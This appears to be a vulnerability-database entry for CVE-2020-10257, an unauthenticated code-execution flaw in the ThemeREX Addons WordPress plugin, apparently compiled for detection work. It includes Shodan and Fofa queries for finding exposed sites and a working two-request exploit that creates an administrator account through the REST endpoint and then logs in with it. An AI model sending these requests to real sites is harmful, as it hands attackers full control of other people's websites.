🔙 목록으로 돌아가기

CVE-2020-10257: ThemeREX Addons - Remote Code Execution

TitleThemeREX Addons - Remote Code Execution
Authortheamanrawat
SeverityCritical
ImpactUnauthenticated attackers can execute arbitrary PHP functions, potentially leading to remote code execution and full site compromise.
RemediationUpdate to version 2020-03-09 or later to fix access control issues.
CVSS Score9.8
EPSS Score0.47784
CVE IDCVE-2020-10257
CWE IDCWE-94
Shodan Queryhttp.html:trx_addons
Fofa Querybody=trx_addons
Tags cve cve2020 rce wordpress wp-plugin wp themerex unauth vkev

🔍 Vulnerability Description

ThemeREX Addons plugin before 2020-03-09 for WordPress contains an access control vulnerability in the /trx_addons/v2/get/sc_layout REST API endpoint, allowing any users to execute PHP functions because includes/plugin.rest-api.php calls trx_addons_rest_get_sc_layout with an unsafe sc parameter, letting attackers execute arbitrary PHP functions, exploit requires no authentication.

🌐 HTTP Request

GET /wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login=JnyIGN&user_pass=NrEcyxGd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Connection: close
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=JnyIGN&pwd=NrEcyxGd&wp-submit=Log+In

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10257.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-10257.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A